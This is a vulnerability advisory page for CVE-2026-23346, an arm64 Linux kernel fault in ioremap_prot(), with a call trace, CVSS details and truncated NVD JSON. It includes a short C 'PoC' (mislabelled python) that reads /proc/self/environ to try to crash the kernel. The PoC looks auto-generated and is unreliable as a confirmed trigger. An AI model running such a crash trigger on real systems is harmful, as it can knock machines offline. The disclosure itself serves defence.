Security Vulnerability Report
中文
CVE-2026-23346 CVSS 5.5 MEDIUM

CVE-2026-23346

Published: 2026-03-25 11:16:33
Last Modified: 2026-04-24 18:15:06
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: arm64: io: Extract user memory type in ioremap_prot() The only caller of ioremap_prot() outside of the generic ioremap() implementation is generic_access_phys(), which passes a 'pgprot_t' value determined from the user mapping of the target 'pfn' being accessed by the kernel. On arm64, the 'pgprot_t' contains all of the non-address bits from the pte, including the permission controls, and so we end up returning a new user mapping from ioremap_prot() which faults when accessed from the kernel on systems with PAN: | Unable to handle kernel read from unreadable memory at virtual address ffff80008ea89000 | ... | Call trace: | __memcpy_fromio+0x80/0xf8 | generic_access_phys+0x20c/0x2b8 | __access_remote_vm+0x46c/0x5b8 | access_remote_vm+0x18/0x30 | environ_read+0x238/0x3e8 | vfs_read+0xe4/0x2b0 | ksys_read+0xcc/0x178 | __arm64_sys_read+0x4c/0x68 Extract only the memory type from the user 'pgprot_t' in ioremap_prot() and assert that we're being passed a user mapping, to protect us against any changes in future that may require additional handling. To avoid falsely flagging users of ioremap(), provide our own ioremap() macro which simply wraps __ioremap_prot().

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel (Commit 3d64dcc0799c2d6921ba027716b7be721eb19fa8)
Linux Kernel (Commit 8f098037139b294050053123ab2bc0f819d08932)
Linux Kernel (Commit d1ad8fe7f72d73e1617bac79f2ec7a3bedf47e2a)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <unistd.h> #include <fcntl.h> // PoC for CVE-2026-23346 // This PoC attempts to trigger the vulnerability by reading /proc/self/environ. // The call trace indicates environ_read -> access_remote_vm -> generic_access_phys. // On a vulnerable kernel with PAN enabled, this may cause a kernel crash (DoS). int main() { int fd; char buffer[4096]; ssize_t bytes_read; printf("Attempting to read /proc/self/environ to trigger potential kernel path...\n"); fd = open("/proc/self/environ", O_RDONLY); if (fd < 0) { perror("open"); return 1; } bytes_read = read(fd, buffer, sizeof(buffer) - 1); if (bytes_read > 0) { buffer[bytes_read] = '\0'; printf("Read %zd bytes. If kernel crashes, vulnerability is triggered.\n", bytes_read); } else { perror("read"); } close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23346", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:32.767", "lastModified": "2026-04-24T18:15:05.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: io: Extract user memory type in ioremap_prot()\n\nThe only caller of ioremap_prot() outside of the generic ioremap()\nimplementation is generic_access_phys(), which passes a 'pgprot_t' value\ndetermined from the user mapping of the target 'pfn' being accessed by\nthe kernel. On arm64, the 'pgprot_t' contains all of the non-address\nbits from the pte, including the permission controls, and so we end up\nreturning a new user mapping from ioremap_prot() which faults when\naccessed from the kernel on systems with PAN:\n\n | Unable to handle kernel read from unreadable memory at virtual address ffff80008ea89000\n | ...\n | Call trace:\n | __memcpy_fromio+0x80/0xf8\n | generic_access_phys+0x20c/0x2b8\n | __access_remote_vm+0x46c/0x5b8\n | access_remote_vm+0x18/0x30\n | environ_read+0x238/0x3e8\n | vfs_read+0xe4/0x2b0\n | ksys_read+0xcc/0x178\n | __arm64_sys_read+0x4c/0x68\n\nExtract only the memory type from the user 'pgprot_t' in ioremap_prot()\nand assert that we're being passed a user mapping, to protect us against\nany changes in future that may require additional handling. To avoid\nfalsely flagging users of ioremap(), provide our own ioremap() macro\nwhich simply wraps __ioremap_prot()."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\narm64: io: Extraer el tipo de memoria de usuario en ioremap_prot()\n\nEl único llamador de ioremap_prot() fuera de la implementación genérica de ioremap() es generic_access_phys(), que pasa un valor 'pgprot_t' determinado a partir del mapeo de usuario del 'pfn' objetivo al que accede el kernel. En arm64, el 'pgprot_t' contiene todos los bits no relacionados con la dirección del pte, incluidos los controles de permiso, y así terminamos devolviendo un nuevo mapeo de usuario desde ioremap_prot() que falla cuando se accede desde el kernel en sistemas con PAN:\n\n | No se puede manejar la lectura del kernel desde memoria ilegible en la dirección virtual ffff80008ea89000\n | ...\n | Rastro de llamada:\n | __memcpy_fromio+0x80/0xf8\n | generic_access_phys+0x20c/0x2b8\n | __access_remote_vm+0x46c/0x5b8\n | access_remote_vm+0x18/0x30\n | environ_read+0x238/0x3e8\n | vfs_read+0xe4/0x2b0\n | ksys_read+0xcc/0x178\n | __arm64_sys_read+0x4c/0x68\n\nExtraer solo el tipo de memoria del 'pgprot_t' de usuario en ioremap_prot() y afirmar que se nos está pasando un mapeo de usuario, para protegernos contra cualquier cambio futuro que pueda requerir manejo adicional. Para evitar marcar erróneamente a los usuarios de ioremap(), proporcionar nuestra propia macro ioremap() que simplemente envuelve a __ioremap_prot()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "1E4E7304-41DC-42ED-AFC0-8B1962A7CF99"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.0:-:*:*:*:*:*:*", "matchCriteriaId": "7BE551E5-89CF-47A8-9B26-03CE727FBA37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerabl ... (truncated)